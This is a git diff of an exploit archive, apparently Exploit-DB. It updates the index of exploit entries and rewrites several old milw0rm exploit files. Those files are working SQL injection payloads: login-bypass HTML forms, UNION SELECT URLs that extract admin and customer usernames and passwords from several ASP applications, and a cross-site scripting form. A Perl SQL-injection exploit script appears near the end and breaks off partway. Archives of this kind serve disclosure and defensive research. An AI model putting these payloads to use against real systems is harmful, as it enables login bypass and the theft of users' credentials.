-30009,platforms/windows/remote/30009.rb,"ABB MicroSCADA wserver.exe Remote Code Execution",2013-12-03,metasploit,windows,remote,12221
+30009,platforms/windows/remote/30009.rb,"ABB MicroSCADA wserver.exe - Remote Code Execution",2013-12-03,metasploit,windows,remote,12221
 30010,platforms/php/remote/30010.rb,"Kimai v0.9.2 'db_restore.php' SQL Injection",2013-12-03,metasploit,php,remote,80
 30011,platforms/windows/remote/30011.rb,"Microsoft Tagged Image File Format (TIFF) Integer Overflow",2013-12-03,metasploit,windows,remote,0
 30012,platforms/php/webapps/30012.txt,"Chamilo LMS 1.9.6 (profile.php, password0 param) - SQL Injection",2013-12-03,"High-Tech Bridge SA",php,webapps,80
 30013,platforms/php/webapps/30013.txt,"Dokeos 2.2 RC2 (index.php, language param) - SQL Injection",2013-12-03,"High-Tech Bridge SA",php,webapps,80
-30014,platforms/windows/local/30014.py,"NDPROXY Local SYSTEM Privilege Escalation",2013-12-03,"Matteo Memelli",windows,local,0
+30014,platforms/windows/local/30014.py,"Windows NDPROXY Local SYSTEM Privilege Escalation",2013-12-03,ryujin,windows,local,0
+30015,platforms/php/webapps/30015.txt,"Advanced Guestbook 2.4.2 Lang Cookie Parameter Local File Include Vulnerability",2007-05-08,netVigilance,php,webapps,0
+30016,platforms/windows/remote/30016.txt,"Adobe RoboHelp Frameset-7.HTML Cross-Site Scripting Vulnerability",2007-05-08,"Michael Domberg",windows,remote,0
+30017,platforms/unix/local/30017.sh,"HP Tru64 5.0.1 DOP Command Local Privilege Escalation Vulnerability",2007-05-08,"Daniele Calore",unix,local,0
+30018,platforms/linux/remote/30018.py,"Python 2.5 PyLocale_strxfrm Function Remote Information Leak Vulnerability",2007-05-08,"Piotr Engelking",linux,remote,0
+30019,platforms/windows/remote/30019.c,"CA Multiple Products Console Server and InoCore.dll Remote Code Execution Vulnerabilities",2007-05-09,binagres,windows,remote,0
+30020,platforms/linux/dos/30020.txt,"MySQL 5.0.x IF Query Handling Remote Denial Of Service Vulnerability",2013-12-04,"Neil Kettle",linux,dos,0
+30021,platforms/solaris/local/30021.txt,"Sun Microsystems Solaris SRSEXEC 3.2.x Arbitrary File Read Local Information Disclosure Vulnerability",2007-05-10,Anonymous,solaris,local,0
+30022,platforms/php/webapps/30022.txt,"PHP Multi User Randomizer 2006.09.13 Configure_Plugin.TPL.PHP Cross-Site Scripting Vulnerability",2007-05-10,the_Edit0r,php,webapps,0
+30023,platforms/windows/dos/30023.txt,"Progress OpenEdge 10 b Multiple Denial Of Service Vulnerabilities",2007-05-11,"Eelko Neven",windows,dos,0
+30024,platforms/linux/dos/30024.txt,"LibEXIF 0.6.x - Exif_Data_Load_Data_Entry Remote Integer Overflow Vulnerability",2007-05-11,"Victor Stinner",linux,dos,0
+30025,platforms/multiple/remote/30025.txt,"TeamSpeak Server 2.0.23 Multiple Scripts Multiple Cross-Site Scripting Vulnerabilities",2007-05-11,"Gilberto Ficara",multiple,remote,0
+30026,platforms/windows/remote/30026.txt,"TFTP Server TFTPDWin 0.4.2 Unspecified Directory Traversal Vulnerability",2007-05-11,"Digital Defense",windows,remote,0
+30027,platforms/php/webapps/30027.txt,"CommuniGate Pro 5.1.8 Web Mail HTML Injection Vulnerability",2007-05-12,"Alla Bezroutchko",php,webapps,0
+30028,platforms/php/webapps/30028.txt,"EQDKP <= 1.3.1 Show Variable Cross-Site Scripting Vulnerability",2007-05-12,kefka,php,webapps,0
+30029,platforms/php/webapps/30029.txt,"SonicBB 1.0 Search.PHP Cross-Site Scripting Vulnerability",2007-05-14,"Jesper Jurcenoks",php,webapps,0
+30031,platforms/hardware/webapps/30031.txt,"Imagam iFiles 1.16.0 iOS - Multiple Web Vulnerabilities",2013-12-04,Vulnerability-Lab,hardware,webapps,0
+30032,platforms/windows/local/30032.rb,"Steinberg MyMp3PRO 5.0 - Buffer Overflow/SEH Buffer Overflow/DEP Bypass with ROP",2013-12-04,metacom,windows,local,0
+30033,platforms/php/webapps/30033.txt,"Joomla com_hotornot2 2.0.0 - Remote Code Execution (RCE) Vulnerability",2013-12-04,DevilScreaM,php,webapps,0
+30035,platforms/php/webapps/30035.txt,"SonicBB 1.0 Multiple SQL Injection Vulnerabilities",2007-05-14,"Jesper Jurcenoks",php,webapps,0
+30036,platforms/php/webapps/30036.html,"WordPress 2.1.3 Akismet Plugin Unspecified Vulnerability",2007-05-14,"David Kierznowski",php,webapps,0
+30037,platforms/windows/remote/30037.txt,"Caucho Resin 3.1 Encoded Space (%20) Request Path Disclosure",2007-05-15,"Derek Abdine",windows,remote,0
+30038,platforms/windows/remote/30038.txt,"Caucho Resin 3.1 \web-inf Traversal Arbitrary File Access",2007-05-15,"Derek Abdine",windows,remote,0
+30039,platforms/multiple/local/30039.txt,"Multiple Personal Firewall Products - Local Protection Mechanism Bypass Vulnerability",2007-05-15,"Matousec Transparent security",multiple,local,0
+30040,platforms/php/webapps/30040.txt,"Jetbox CMS 2.1 Email FormMail.PHP Input Validation Vulnerability",2007-05-15,"Jesper Jurcenoks",php,webapps,0
+30041,platforms/php/webapps/30041.txt,"Jetbox CMS 2.1 view/search/ path Parameter XSS",2007-05-15,"Mikhail Markin",php,webapps,0
+30042,platforms/php/webapps/30042.txt,"Jetbox CMS 2.1 view/supplynews/ Multiple Parameter XSS",2007-05-15,"Mikhail Markin",php,webapps,0
+30043,platforms/linux/remote/30043.txt,"Sun Java JDK 1.x - Embedded ICC Profile Image Parser Overflow",2007-05-16,"Chris Evans",linux,remote,0
+30044,platforms/linux/dos/30044.txt,"Sun Java JDK 1.x - BMP Parsing Remote Privilege Escalation",2007-05-16,"Chris Evans",linux,dos,0
+30045,platforms/windows/remote/30045.html,"PrecisionID Barcode PrecisionID_Barcode.DLL ActiveX 1.9 Control Arbitrary File Overwrite Vulnerability",2007-05-16,shinnai,windows,remote,0
+30046,platforms/windows/dos/30046.py,"Computer Associates BrightStor ARCserve Backup <= 11.5 mediasvr caloggerd Denial Of Service Vulnerabilities",2007-05-16,"M. Shirk",windows,dos,0
+30047,platforms/php/webapps/30047.txt,"VBulletin <= 3.6.6 Calendar.PHP HTML Injection Vulnerability",2007-05-16,"Laurent Gaffie",php,webapps,0
+30048,platforms/asp/webapps/30048.html,"VP-ASP Shopping Cart 6.50 ShopContent.ASP Cross-Site Scripting Vulnerability",2007-05-17,"John Martinelli",asp,webapps,0
+30049,platforms/windows/remote/30049.html,"LEADTOOLS Multimedia 15 'Ltmm15.dll' ActiveX Control Stack Buffer Overflow Vulnerability",2007-05-17,shinnai,windows,remote,0
+30050,platforms/php/webapps/30050.html,"Redoable 1.2 Theme header.php s Parameter XSS",2007-05-17,"John Martinelli",php,webapps,0
+30051,platforms/php/webapps/30051.txt,"PsychoStats <= 2.3 - Server.PHP Path Disclosure Vulnerability",2007-05-17,kefka,php,webapps,0
+30052,platforms/multiple/remote/30052.txt,"Apache Tomcat 6.0.10 Documentation Sample Application Multiple Cross-Site Scripting Vulnerabilities",2007-05-19,"Ferruh Mavituna",multiple,remote,0
+30053,platforms/php/webapps/30053.txt,"ClientExec 3.0 Index.PHP Multiple Cross-Site Scripting Vulnerabilities",2007-05-19,r0t,php,webapps,0
+30054,platforms/jsp/webapps/30054.txt,"Sonicwall GMS 7.x - Filter Bypass & Persistent Vulnerability (0Day)",2013-12-05,Vulnerability-Lab,jsp,webapps,0
+30055,platforms/hardware/webapps/30055.txt,"Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities",2013-12-05,Vulnerability-Lab,hardware,webapps,0
+30056,platforms/hardware/webapps/30056.txt,"Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities",2013-12-05,Vulnerability-Lab,hardware,webapps,0
+30057,platforms/php/webapps/30057.txt,"openSIS <= 5.2 (ajax.php) - PHP Code Injection Vulnerability",2013-12-05,"Egidio Romano",php,webapps,0
+30059,platforms/php/webapps/30059.py,"Eaton Network Shutdown Module <= 3.21 - Remote PHP Code Injection",2013-12-06,"Filip Waeytens",php,webapps,0
+30062,platforms/hardware/webapps/30062.py,"D-Link DSR Router Series - Remote Root Shell Exploit",2013-12-06,0_o,hardware,webapps,0
+30063,platforms/php/webapps/30063.txt,"WordPress Plugin DZS Video Gallery 3.1.3 - Remote and Local File Disclosure Vulnerability",2013-12-06,"aceeeeeeeer .",php,webapps,0
+30064,platforms/php/webapps/30064.txt,"HLstats 1.35 HLStats.PHP Multiple Cross Site Scripting Vulnerabilities",2007-05-19,"John Martinelli",php,webapps,0
+30065,platforms/php/webapps/30065.html,"GaliX 2.0 Index.PHP Multiple Cross Site Scripting Vulnerabilities",2007-05-21,"John Martinelli",php,webapps,0
+30066,platforms/php/webapps/30066.txt,"Jetbox CMS 2.1 Multiple SQL Injection Vulnerabilities",2007-05-21,"Jesper Jurcenoks",php,webapps,0
+30067,platforms/windows/remote/30067.txt,"rdiffWeb 0.3.5 Directory Traversal Vulnerability",2007-05-22,"Jesus Roncero",windows,remote,0
+30068,platforms/php/webapps/30068.txt,"Jetbox CMS 2.1 Login Variable Cross Site Scripting Vulnerability",2007-05-22,"Jesper Jurcenoks",php,webapps,0
+30069,platforms/windows/remote/30069.html,"Dart ZipLite Compression 1.8.5.3 DartZipLite.DLL ActiveX Control Buffer Overflow Vulnerability",2007-05-22,shinnai,windows,remote,0
+30070,platforms/php/webapps/30070.html,"ClonusWiki 0.5 Index.PHP HTML Injection Vulnerability",2007-05-22,"John Martinelli",php,webapps,0
+30071,platforms/php/webapps/30071.txt,"ABC Excel Parser Pro 4.0 Parser_Path Remote File Include Vulnerability",2007-05-22,the_Edit0r,php,webapps,0
+30072,platforms/php/webapps/30072.txt,"PsychoStats 3.0.6b Multiple Scripts Multiple Cross-Site Scripting Vulnerabilities",2007-05-22,"John Martinelli",php,webapps,0
+30073,platforms/php/webapps/30073.txt,"GMTT Music Distro 1.2 ShowOwn.PHP Cross Site Scripting Vulnerability",2007-05-22,CorryL,php,webapps,0
+30074,platforms/linux/remote/30074.txt,"PHP PEAR <= 1.5.3 INSTALL-AS Attribute Arbitrary File Overwrite Vulnerability",2007-05-07,"Gregory Beaver",linux,remote,0
+30075,platforms/php/webapps/30075.txt,"phpPgAdmin 4.1.1 SQLEDIT.PHP Cross Site Scripting Vulnerability",2007-05-23,"Michal Majchrowicz",php,webapps,0
+30076,platforms/php/webapps/30076.txt,"WYYS 1.0 Index.PHP Cross Site Scripting Vulnerability",2007-05-23,vagrant,php,webapps,0
+30077,platforms/asp/webapps/30077.txt,"Cisco CallManager 4.1 Search Form Cross Site Scripting Vulnerability",2007-05-23,"Marc Ruef",asp,webapps,0
+30078,platforms/multiple/remote/30078.js,"Apple Safari 2.0.4 Cross-Domain Browser Location Information Disclosure Vulnerability",2007-05-23,"Gareth Heyes",multiple,remote,0
+30079,platforms/php/webapps/30079.txt,"2z Project 0.9.5 Rating.PHP Cross Site Scripting Vulnerability",2007-05-23,"Janek Vind",php,webapps,0
+30080,platforms/linux/dos/30080.c,"Linux Kernel 2.6.x VFat Compat IOCTLS Local Denial of Service Vulnerability",2007-05-24,"Bart Oldeman",linux,dos,0
+30081,platforms/php/webapps/30081.txt,"ASP-Nuke 2.0.7 News.ASP Cross Site Scripting Vulnerability",2007-05-24,vagrant,php,webapps,0
+30082,platforms/php/webapps/30082.txt,"GNUTurk Mods.PHP Cross Site Scripting Vulnerability",2007-05-25,vagrant,php,webapps,0
+30083,platforms/php/webapps/30083.txt,"BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability",2013-12-06,LiquidWorm,php,webapps,0
+30084,platforms/php/webapps/30084.php,"Wordpress page-flip-image-gallery plugins Remote File Upload",2013-12-06,"Ashiyane Digital Security Team",php,webapps,0
+30085,platforms/linux/webapps/30085.txt,"Zimbra 0day exploit / Privilegie escalation via LFI",2013-12-06,rubina119,linux,webapps,0
+30086,platforms/php/webapps/30086.txt,"BoastMachine 3.1 Index.PHP Cross Site Scripting Vulnerability",2007-05-25,newbinaryfile,php,webapps,0
+30087,platforms/php/webapps/30087.txt,"Digirez 3.4 Multiple Cross Site Scripting Vulnerabilities",2007-05-25,Linux_Drox,php,webapps,0
+30088,platforms/php/webapps/30088.txt,"Pligg 9.5 Reset Forgotten Password Security Bypass Vulnerability",2007-05-25,"242th section",php,webapps,0
+30089,platforms/linux/remote/30089.txt,"Ruby on Rails 1.2.3 To_JSON - Script Injection Vulnerability",2007-05-25,BCC,linux,remote,0
+30090,platforms/php/webapps/30090.txt,"phpPgAdmin <= 4.1.1 Redirect.PHP Cross Site Scripting Vulnerability",2007-05-25,"Michal Majchrowicz",php,webapps,0
+30091,platforms/linux/dos/30091.py,"OpenOffice 2.2 Writer Component Remote Denial Of Service Vulnerability",2007-05-28,shinnai,linux,dos,0
+30092,platforms/php/webapps/30092.txt,"FlashChat F_CMS 4.7.9 Parameter Multiple Remote File Include Vulnerabilities",2007-05-28,"Hasadya Raed",php,webapps,0
+30093,platforms/linux/local/30093.txt,"Mutt 1.4.2 Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability",2007-05-28,raylai,linux,local,0
+30094,platforms/php/webapps/30094.txt,"DGNews 2.1 Footer.PHP Cross Site Scripting Vulnerability",2007-05-28,"Jesper Jurcenoks",php,webapps,0
+30095,platforms/php/webapps/30095.txt,"DGNews 1.5.1/2.1 News.PHP SQL Injection Vulnerability",2007-05-28,"Jesper Jurcenoks",php,webapps,0
+30096,platforms/osx/local/30096.txt,"Apple Mac OS X <= 10.4.9 - VPND Local Format String Vulnerability",2007-05-29,"Chris Anley",osx,local,0
+30097,platforms/php/webapps/30097.txt,"UebiMiau <= 2.7.10 demo/pop3/error.php selected_theme Parameter XSS",2007-05-29,"Michal Majchrowicz",php,webapps,0
+30098,platforms/php/webapps/30098.txt,"UebiMiau <= 2.7.10 demo/pop3/error.php Multiple Variable Path Disclosure",2007-05-29,"Michal Majchrowicz",php,webapps,0
+30099,platforms/php/webapps/30099.txt,"DGNews 2.1 NewsID Parameter SQL Injection Vulnerability",2007-05-28,"Laurent Gaffie",php,webapps,0
+30100,platforms/windows/remote/30100.html,"British Telecommunications Consumer Webhelper 2.0.0.7 Multiple Buffer Overflow Vulnerabilities",2007-05-29,"Will Dormann",windows,remote,0
+30101,platforms/php/webapps/30101.txt,"CPCommerce 1.1 Manufacturer.PHP SQL Injection Vulnerability",2007-05-29,"Laurent Gaffie",php,webapps,0
+30102,platforms/php/webapps/30102.php,"Pheap 2.0 Config.PHP Pheap_Login Authentication Bypass Vulnerability",2007-05-30,Silentz,php,webapps,0
+30103,platforms/php/webapps/30103.txt,"Particle Blogger <= 1.2.1 Archives.PHP SQL Injection Vulnerability",2007-03-16,Serapis.net,php,webapps,0
+30104,platforms/windows/remote/30104.nasl,"F-Secure Policy Manager 7.00 FSMSH.DLL Remote Denial of Service Vulnerability",2007-05-30,"David Maciejak",windows,remote,0
diff --git a/platforms/webapps/10372.txt b/platforms/aix/webapps/10372.txt
similarity index 100%
rename from platforms/webapps/10372.txt
rename to platforms/aix/webapps/10372.txt
diff --git a/platforms/webapps/11580.txt b/platforms/aix/webapps/11580.txt
similarity index 100%
rename from platforms/webapps/11580.txt
rename to platforms/aix/webapps/11580.txt
diff --git a/platforms/asp/webapps/1399.txt b/platforms/asp/webapps/1399.txt
index a8bb8a57c..bc9ef300e 100755
--- a/platforms/asp/webapps/1399.txt
+++ b/platforms/asp/webapps/1399.txt
@@ -1,37 +1,37 @@
-<!--
-Vulnerable products :
-
-webwiz site news access2000 : vesion 3.06 and prior versions
-webwiz journal access2000 : version 1.0
-webwiz weekly poll access2000 : version 3.06 and prior versions
-database login access2000 : version 1.71 and prior versions
-webwiz site news access97 : version 3.06 and prior versions
-webwiz journal access97 : version 1.0
-webwiz weekly poll access97 : version 3.06 and prior versions
-database login access97 : version 1.71 and prior versions
-
-
-Proof of Concepts :
--->
-
-<html>
-<h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1>
-<p> Discovery and exploit by devil_box [at} kapda.ir</p>
-<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p>
-<form method="POST" action="http://target/[product]/check_user.asp">
-<input type="hidden" name="txtUserName" value="'union all select '1','1' from tblConfiguration where ''='">
-<input type="hidden" name="txtUserPass" value="1">
-<input type="submit" value="Submit" name="submit">
-</form></html>
-
-<html>
-<h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1>
-<p> Discovery and exploit by devil_box [at} kapda.ir</p>
-<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p>
-<form method="POST" action="http://target/[product]/check_user.asp">
-<input type="hidden" name="txtUserName" value="'union select 1 from tblusers where''='">
-<input type="hidden" name="txtUserPass" value="1">
-<input type="submit" value="Submit" name="submit">
-</form></html>
-
-# milw0rm.com [2005-12-30]
+<!--
+Vulnerable products :
+
+webwiz site news access2000 : vesion 3.06 and prior versions
+webwiz journal access2000 : version 1.0
+webwiz weekly poll access2000 : version 3.06 and prior versions
+database login access2000 : version 1.71 and prior versions
+webwiz site news access97 : version 3.06 and prior versions
+webwiz journal access97 : version 1.0
+webwiz weekly poll access97 : version 3.06 and prior versions
+database login access97 : version 1.71 and prior versions
+
+
+Proof of Concepts :
+-->
+
+<html>
+<h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1>
+<p> Discovery and exploit by devil_box [at} kapda.ir</p>
+<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p>
+<form method="POST" action="http://target/[product]/check_user.asp">
+<input type="hidden" name="txtUserName" value="'union all select '1','1' from tblConfiguration where ''='">
+<input type="hidden" name="txtUserPass" value="1">
+<input type="submit" value="Submit" name="submit">
+</form></html>
+
+<html>
+<h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1>
+<p> Discovery and exploit by devil_box [at} kapda.ir</p>
+<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p>
+<form method="POST" action="http://target/[product]/check_user.asp">
+<input type="hidden" name="txtUserName" value="'union select 1 from tblusers where''='">
+<input type="hidden" name="txtUserPass" value="1">
+<input type="submit" value="Submit" name="submit">
+</form></html>
+
+# milw0rm.com [2005-12-30]
diff --git a/platforms/asp/webapps/2287.txt b/platforms/asp/webapps/2287.txt
index 6c220cf3c..97e4cc732 100755
--- a/platforms/asp/webapps/2287.txt
+++ b/platforms/asp/webapps/2287.txt
@@ -1,19 +1,19 @@
-################################################################################
-##                                                                            ##
-##  Icblogger <= "YID" Remote Blind SQL Injection                             ##
-##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
-##  Credit by        |  Chironex Fleckeri                                     ##
-##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##
-##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
-##                                                                            ##
-################################################################################
-
-##########################################################################################################################################################################
-#Usage : http://www.target.com/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1 #
-##########################################################################################################################################################################
-
-#############################################################
-#Admin Panel : http://www.target.com/path/admin/default.asp #
-#############################################################
-
-# milw0rm.com [2006-09-01]
+################################################################################
+##                                                                            ##
+##  Icblogger <= "YID" Remote Blind SQL Injection                             ##
+##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
+##  Credit by        |  Chironex Fleckeri                                     ##
+##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##
+##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
+##                                                                            ##
+################################################################################
+
+##########################################################################################################################################################################
+#Usage : http://www.target.com/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1 #
+##########################################################################################################################################################################
+
+#############################################################
+#Admin Panel : http://www.target.com/path/admin/default.asp #
+#############################################################
+
+# milw0rm.com [2006-09-01]
diff --git a/platforms/asp/webapps/2371.txt b/platforms/asp/webapps/2371.txt
index 04ed3e730..e1daab5e9 100755
--- a/platforms/asp/webapps/2371.txt
+++ b/platforms/asp/webapps/2371.txt
@@ -1,20 +1,20 @@
-+++++++++++++++++++++++++++++++++++++++++++++++++++
-+ Haberx v1.1 (tr) SQL Injection Vulnerability    +
-+ Author  : Fix TR                                +
-+ Site    : www.hack.gen.tr                       +
-+ Contact : fixtr[at]bsdmail.com                  +
-+++++++++++++++++++++++++++++++++++++++++++++++++++
-
-+ Download: http://www.aspindir.com/Goster/3983
-+ Versions: 1.02 between 1.1
-+ Bug In  : kategorix.asp
-+ Risk    : High
-
-
-+ Admin Nick:
-http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_adi,1+from+uyex+where+uyex_id=1
-
-+ Admin Password: (Big Letters)
-http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_sifre,1+from+uyex+where+uyex_id=1
-
-# milw0rm.com [2006-09-15]
++++++++++++++++++++++++++++++++++++++++++++++++++++
++ Haberx v1.1 (tr) SQL Injection Vulnerability    +
++ Author  : Fix TR                                +
++ Site    : www.hack.gen.tr                       +
++ Contact : fixtr[at]bsdmail.com                  +
++++++++++++++++++++++++++++++++++++++++++++++++++++
+
++ Download: http://www.aspindir.com/Goster/3983
++ Versions: 1.02 between 1.1
++ Bug In  : kategorix.asp
++ Risk    : High
+
+
++ Admin Nick:
+http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_adi,1+from+uyex+where+uyex_id=1
+
++ Admin Password: (Big Letters)
+http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_sifre,1+from+uyex+where+uyex_id=1
+
+# milw0rm.com [2006-09-15]
diff --git a/platforms/asp/webapps/2387.txt b/platforms/asp/webapps/2387.txt
index 50f7babb5..7b543b46a 100755
--- a/platforms/asp/webapps/2387.txt
+++ b/platforms/asp/webapps/2387.txt
@@ -1,41 +1,41 @@
-Vulnerability Report
-*******************************************************************************
-# Title  :  Charon Cart v3(Review.asp) Remote SQL Injection Vulnerability
-
-# Author :   ajann
-
-# Script Page : http://www.charon.co.uk
-
-# Exploit;
-
-*******************************************************************************
-
-###http://[target]/[path]/Review.asp?ProductID=[SQL HERE]
-
-Example:
-
-//Review.asp?ProductID=-1%20union%20select%20CustomerPassword%20from%20Customers%20Where%20CustomerID%20=%201
-//Review.asp?ProductID=-1%20union%20select%20CustomerEmail%20from%20Customers%20Where%20CustomerID%20=%201
-Email and Password ==> login.asp [L0gin P4Ge]
-
-Columns;
-"""""""""""""""""""""
-CustomerID
-"""""""""""""""""""""
-CustomerEmail
-"""""""""""""""""""""
-CustomerPassword
-"""""""""""""""""""""
-ShipCountry
-"""""""""""""""""""""
-Phone
-"""""""""""""""""""""
-.........
-"""""""""""""""""""""
-....
-"""""""""""""""""""""
-# ajann,Turkey
-# ...
-# Im not Hacker!
-
-# milw0rm.com [2006-09-17]
+Vulnerability Report
+*******************************************************************************
+# Title  :  Charon Cart v3(Review.asp) Remote SQL Injection Vulnerability
+
+# Author :   ajann
+
+# Script Page : http://www.charon.co.uk
+
+# Exploit;
+
+*******************************************************************************
+
+###http://[target]/[path]/Review.asp?ProductID=[SQL HERE]
+
+Example:
+
+//Review.asp?ProductID=-1%20union%20select%20CustomerPassword%20from%20Customers%20Where%20CustomerID%20=%201
+//Review.asp?ProductID=-1%20union%20select%20CustomerEmail%20from%20Customers%20Where%20CustomerID%20=%201
+Email and Password ==> login.asp [L0gin P4Ge]
+
+Columns;
+"""""""""""""""""""""
+CustomerID
+"""""""""""""""""""""
+CustomerEmail
+"""""""""""""""""""""
+CustomerPassword
+"""""""""""""""""""""
+ShipCountry
+"""""""""""""""""""""
+Phone
+"""""""""""""""""""""
+.........
+"""""""""""""""""""""
+....
+"""""""""""""""""""""
+# ajann,Turkey
+# ...
+# Im not Hacker!
+
+# milw0rm.com [2006-09-17]
diff --git a/platforms/asp/webapps/2773.txt b/platforms/asp/webapps/2773.txt
index e6b1abba4..a88c7b048 100755
--- a/platforms/asp/webapps/2773.txt
+++ b/platforms/asp/webapps/2773.txt
@@ -1,19 +1,19 @@
-*******************************************************************************
-# Title  :  Estate Agent Manager <= v1.3 (default.asp) Remote Login ByPass SQL Injection Vulnerability
-# Author :   ajann
-
-*******************************************************************************
-Example:
-
-###http://[target]/[path]/admin/
-
-UserName: ' union select 0,0 from admin
-
-
-"""""""""""""""""""""
-# ajann,Turkey
-# ...
-
-# Im not Hacker!
-
-# milw0rm.com [2006-11-13]
+*******************************************************************************
+# Title  :  Estate Agent Manager <= v1.3 (default.asp) Remote Login ByPass SQL Injection Vulnerability
+# Author :   ajann
+
+*******************************************************************************
+Example:
+
+###http://[target]/[path]/admin/
+
+UserName: ' union select 0,0 from admin
+
+
+"""""""""""""""""""""
+# ajann,Turkey
+# ...
+
+# Im not Hacker!
+
+# milw0rm.com [2006-11-13]
diff --git a/platforms/asp/webapps/30048.html b/platforms/asp/webapps/30048.html
new file mode 100755
index 000000000..550c7899a
--- /dev/null
+++ b/platforms/asp/webapps/30048.html
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24033/info
+
+VP-ASP Shopping Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+VP-ASP Shopping Cart 6.50 is vulnerable; other versions may also be affected. 
+
+<!-- VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability A cross-site scripting vulnerability in VP-ASP Shopping Cart 6.50 was discovered. The vendor, VP-ASP, shipped an official patch on May 16th, 2007. Vulnerable Variable: type Vulnerable File: shopcontent.asp Vulnerable: VP-ASP Shopping Cart 6.50 (other versions should also be vulnerable) Google d0rk: intitle:"VP-ASP Shopping Cart 6.50" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 16th, 2007 !--> <html> <head><title>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22VP-ASP+Shopping+Cart+6.50%22">intitle:"VP-ASP Shopping Cart 6.50"</a> </font><br><br><br> <center>file <b>shopcontent.asp</b> - variable <b>type</b> - method <b>get</b></center><br> <form action="http://www.example.com/shop/shopcontent.asp" method="get"> <input size=75 name="type" value="<body onload=alert(1)>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> 
\ No newline at end of file
diff --git a/platforms/asp/webapps/30077.txt b/platforms/asp/webapps/30077.txt
new file mode 100755
index 000000000..7ab7bc5af
--- /dev/null
+++ b/platforms/asp/webapps/30077.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24119/info
+
+Cisco CallManager is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.
+
+Exploiting this vulnerability could allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+Cisco CallManager 4.1.1 is reported vulnerable; other versions may also be affected. 
+
+https://www.example.com/CCMAdmin/serverlist.asp?findBy=servername&match=begins&pattern=[xss] 
\ No newline at end of file
diff --git a/platforms/asp/webapps/3048.pl b/platforms/asp/webapps/3048.pl
index f5e3c053d..c2a7e5b92 100755
--- a/platforms/asp/webapps/3048.pl
+++ b/platforms/asp/webapps/3048.pl
@@ -1,103 +1,103 @@
-#!/usr/bin/perl
-#[Script Name: Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
-#[Coded by   : ajann
-#[Author     : ajann
-#[Contact    : :(
-#[S.Page     : http://www.websitedesignsforless.com
-#[$$         : $9.95
-#[Message    : Tum Musluman Aleminin Kurban Bayrami Mubarek Olsun #..
-#[..         : ajann,Turkey
-
-# 2006.01 //coupon_detail.asp?key=-1%20union%20select%200,0,xusername,0,0,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%201
-
-
-use IO::Socket;
-if(@ARGV < 1){
-print "
-[========================================================================
-[//  Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
-[//                   Usage: exploit.pl [target]
-[//                   Example: exploit.pl victim.com
-[//                   Example: exploit.pl victim.com
-[//                           Vuln&Exp : ajann
-[========================================================================
-";
-exit();
-}
-#Local variables
-$server = $ARGV[0];
-$server =~ s/(http:\/\/)//eg;
-$host = "http://".$server;
-$port = "80";
-$file = "/coupon_detail.asp?key=";
-
-print "Script <DIR> : ";
-$dir = <STDIN>;
-chop ($dir);
-
-if ($dir =~ /exit/){
-print "-- Exploit Failed[You Are Exited] \n";
-exit();
-}
-
-if ($dir =~ /\//){}
-else {
-print "-- Exploit Failed[No DIR] \n";
-exit();
- }
-
-print "User <ID>    : ";
-$ID = <STDIN>;
-chop ($ID);
-
-if ($ID =~ /exit/){
-print "-- Exploit Failed[You Are Exited] \n";
-exit();
-}
-
-$len=length($ID);
-
-if ($len == 1){}
-else {
-print "-- Exploit Failed[No User Id] \n";
-exit();
- }
-
-$target = "-1%20union%20select%200,0,0,xusername,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%20".$ID;
-$target = $host.$dir.$file.$target;
-
-#Writing data to socket
-print "+**********************************************************************+\n";
-print "+ Trying to connect: $server\n";
